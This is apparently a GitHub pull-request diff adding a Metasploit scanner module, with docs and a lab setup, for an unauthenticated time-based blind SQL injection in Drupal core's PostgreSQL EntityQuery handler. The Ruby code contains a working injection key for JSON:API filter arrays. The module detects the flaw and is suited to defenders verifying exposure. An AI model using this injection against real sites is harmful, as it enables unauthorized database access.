Skip to content
Open
Show file tree
Hide file tree
Changes from 1 commit
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,121 @@
## Vulnerable Application

CVE-2026-9082 (Drupal SA-CORE-2026-004) affects Drupal core versions >= 8.9.0
< 10.4.10, >= 10.5.0 < 10.5.10, >= 10.6.0 < 10.6.9, >= 11.0.0 < 11.1.10,
>= 11.2.0 < 11.2.12, and >= 11.3.0 < 11.3.10 on PostgreSQL. Drupal 8.9 and 9
require the advisory's manual patches because those branches are EOL.
MySQL, MariaDB, and SQLite are not affected.

### Setup with Podman

From the Metasploit Framework checkout, create vulnerable Drupal 11.2.0 and
patched Drupal 11.2.12 targets:

```bash
set -euo pipefail

wait_for() {
description="$1"
shift
for attempt in $(seq 1 90); do
if "$@"; then
return 0
fi
sleep 2
done
echo "Timed out waiting for $description" >&2
return 1
}

podman network create drupal-net
podman run -d --name drupal-pg --network drupal-net \
-e POSTGRES_DB=drupal -e POSTGRES_USER=drupal -e POSTGRES_PASSWORD=drupal \
docker.io/library/postgres:16.3-alpine
wait_for PostgreSQL podman exec drupal-pg pg_isready -U drupal
podman exec drupal-pg createdb -U drupal drupal_patched

install_drupal() {
name="$1"; image="$2"; port="$3"; db_url="$4"
podman run -d --name "$name" --network drupal-net -p "127.0.0.1:$port:80" \
"docker.io/library/drupal:$image-apache"
podman exec "$name" sh -c \
'cd /opt/drupal && composer require drush/drush:13.7.0 --no-interaction'
podman exec "$name" sh -c \
"cd /opt/drupal && vendor/bin/drush site:install standard --db-url=$db_url --account-pass=adminpass -y"
podman exec "$name" sh -c \
'cd /opt/drupal && vendor/bin/drush pm:enable jsonapi -y'
podman exec "$name" sh -c \
'cd /opt/drupal && vendor/bin/drush php:eval '\''\Drupal\node\Entity\Node::create(["type"=>"article","title"=>"Test"])->save();'\'''
}

install_drupal drupal-web-pg 11.2.0 8080 pgsql://drupal:drupal@drupal-pg/drupal
install_drupal drupal-web-patched 11.2.12 8082 pgsql://drupal:drupal@drupal-pg/drupal_patched

for port in 8080 8082; do
wait_for "Drupal JSON:API on port $port" curl -fsS \
"http://127.0.0.1:$port/jsonapi/node/article"
done
```

Mount the unmerged module and join the target network:

```bash
podman run -it --rm --name msf --network drupal-net \
-v "$PWD/modules/auxiliary/scanner/http/drupal_pgsql_entityquery_sqli.rb:/usr/src/metasploit-framework/modules/auxiliary/scanner/http/drupal_pgsql_entityquery_sqli.rb:ro,Z" \
docker.io/metasploitframework/metasploit-framework:latest ./msfconsole
```

With Docker, replace `podman` with `docker` and remove `,Z` from the bind mount.

## Verification Steps

1. Create the targets and start msfconsole as shown above.
1. Run `use auxiliary/scanner/http/drupal_pgsql_entityquery_sqli`.
1. Set `RHOSTS` to `drupal-web-pg` and `RPORT` to `80`.
1. Run the module and confirm Drupal 11.2.0 is reported vulnerable.
1. Repeat with `RHOSTS` set to `drupal-web-patched` and confirm it is safe.

## Options

### JSONAPI_RESOURCE

An anonymously readable JSON:API resource as `entity_type/bundle`. It must expose
at least one entity. (Default: `node/article`)

### JSONAPI_FIELD

A case-insensitive string field on `JSONAPI_RESOURCE`. (Default: `title`)

### SqliDelay

The delay used for the time-based check. Increase it on high-latency targets.
(Default: `3.0`)

## Scenarios

### Drupal 11.2.0 and 11.2.12 on PostgreSQL 16.3

```
msf > use auxiliary/scanner/http/drupal_pgsql_entityquery_sqli
msf auxiliary(scanner/http/drupal_pgsql_entityquery_sqli) > set RPORT 80
RPORT => 80
msf auxiliary(scanner/http/drupal_pgsql_entityquery_sqli) > set RHOSTS drupal-web-pg
RHOSTS => drupal-web-pg
msf auxiliary(scanner/http/drupal_pgsql_entityquery_sqli) > run
[+] 10.89.8.7:80 - The target is vulnerable. Time-based blind SQL injection via JSON:API filter array key
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/http/drupal_pgsql_entityquery_sqli) > set RHOSTS drupal-web-patched
RHOSTS => drupal-web-patched
msf auxiliary(scanner/http/drupal_pgsql_entityquery_sqli) > run
[*] 10.89.8.8:80 - The target is not exploitable. No time-based SQL injection response detected
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

### Cleanup

```bash
podman rm -f drupal-web-pg drupal-web-patched drupal-pg 2>/dev/null || true
podman network rm drupal-net 2>/dev/null || true
```
129 changes: 129 additions & 0 deletions modules/auxiliary/scanner/http/drupal_pgsql_entityquery_sqli.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,129 @@
# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Exploit::SQLi

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Drupal Core PostgreSQL EntityQuery SQL Injection',
'Description' => %q{
This module detects CVE-2026-9082, an unauthenticated SQL injection in
Drupal core's PostgreSQL EntityQuery condition handler. It uses a crafted
JSON:API filter array key to confirm the vulnerability with time-based
blind SQL injection. MySQL, MariaDB, and SQLite are not affected.

The configured JSON:API resource must be anonymously readable and expose
at least one entity with a case-insensitive string field.
},
'Author' => ['Lukas Johannes Moeller'],
'References' => [
['CVE', '2026-9082'],
['URL', 'https://www.drupal.org/sa-core-2026-004'],
['URL', 'https://github.com/7h30th3r0n3/CVE-2026-9082-Drupal-PoC']
],
'DisclosureDate' => '2026-05-20',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options(
[
OptString.new('JSONAPI_RESOURCE', [true, 'An anonymously readable JSON:API resource as entity_type/bundle', 'node/article']),
OptString.new('JSONAPI_FIELD', [true, 'A case-insensitive string field to filter on', 'title'])
]
)

register_advanced_options(
[
OptFloat.new('SqliDelay', [false, 'Seconds to pg_sleep for each time-based probe', 3.0])
]
)
Comment on lines +51 to +55

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This will get registered by the mixin. But you if re-registering it change the description and make it more custom to pg_sleep that's okay with me.

register_advanced_options(
[
OptFloat.new('SqliDelay', [ false, 'The delay to sleep on time-based blind SQL injections', 1.0 ])
]
)

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks, i kept the re-register to use a higher default SqliDelay. Is the current description fine?

end

def jsonapi_uri
normalize_uri(target_uri.path, 'jsonapi', datastore['JSONAPI_RESOURCE'])
end

def filter_vars(injection_key = nil)
nonce = Rex::Text.rand_text_alphanumeric(8)
vars = {
'filter[sqli][condition][path]' => datastore['JSONAPI_FIELD'],
'filter[sqli][condition][operator]' => 'IN',
'filter[sqli][condition][value][0]' => "CVE20269082a-#{nonce}",
'filter[sqli][condition][value][1]' => "CVE20269082b-#{nonce}"
}
vars["filter[sqli][condition][value][#{injection_key}]"] = "CVE20269082c-#{nonce}" if injection_key

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could you please randomize the string CVE20269082 in these instances?

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

done

vars
end

# Breaks out of the PDO placeholder name at the first ')'.
def injection_key(payload)
"1))/**/OR/**/(#{payload})::text=((chr(49)"
end

def create_drupal_sqli
create_sqli(dbms: PostgreSQLi::TimeBasedBlind) do |payload|
res = send_request_cgi(
{ 'method' => 'GET', 'uri' => jsonapi_uri, 'vars_get' => filter_vars(injection_key(payload)) },
(datastore['SqliDelay'] + 20).ceil

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why + 20 here? Could you explain in a comment after .ciel?

Copy link
Copy Markdown
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Good point that was unclear. Its read timeout headroom so the socket outlives pg_sleep(SqliDelay) plus the round-trip, i added a comment

)
raise Rex::ConnectionError, 'No response to the SQL injection probe' unless res
raise Rex::ConnectionError, "HTTP #{res.code} from the SQL injection probe" if [408, 502, 503, 504].include?(res.code)

res
end
end

def check_host(ip)
baseline = send_request_cgi('method' => 'GET', 'uri' => jsonapi_uri)
return Exploit::CheckCode::Unknown('No response to the baseline JSON:API request') unless baseline
return Exploit::CheckCode::Unknown("#{jsonapi_uri} returned HTTP #{baseline.code}") unless baseline.code == 200

doc = baseline.get_json_document
data = doc['data'] if doc.is_a?(Hash)
return Exploit::CheckCode::Unknown("#{datastore['JSONAPI_RESOURCE']} has no entities") unless data.is_a?(Array) && data.any?

field_res = send_request_cgi('method' => 'GET', 'uri' => jsonapi_uri, 'vars_get' => filter_vars)
return Exploit::CheckCode::Unknown('No response while validating JSONAPI_FIELD') unless field_res
return Exploit::CheckCode::Unknown("JSONAPI_FIELD '#{datastore['JSONAPI_FIELD']}' is not valid for this resource") unless field_res.code == 200

report_service(host: ip, port: rport, proto: 'tcp', name: ssl ? 'https' : 'http')
return Exploit::CheckCode::Vulnerable('Time-based blind SQL injection via JSON:API filter array key') if create_drupal_sqli.test_vulnerable

Exploit::CheckCode::Safe('No time-based SQL injection response detected')
rescue Rex::ConnectionError => e
Exploit::CheckCode::Unknown(e.message)
end

def run_host(ip)
code = check_host(ip)
unless code == Exploit::CheckCode::Vulnerable
print_status("#{peer} - #{code.message}")
Comment thread
JohannesLks marked this conversation as resolved.
return
end

print_good("#{peer} - #{code.message}")
report_vuln(
host: ip,
port: rport,
name: name,
info: code.message,
refs: references
)
end
end
Loading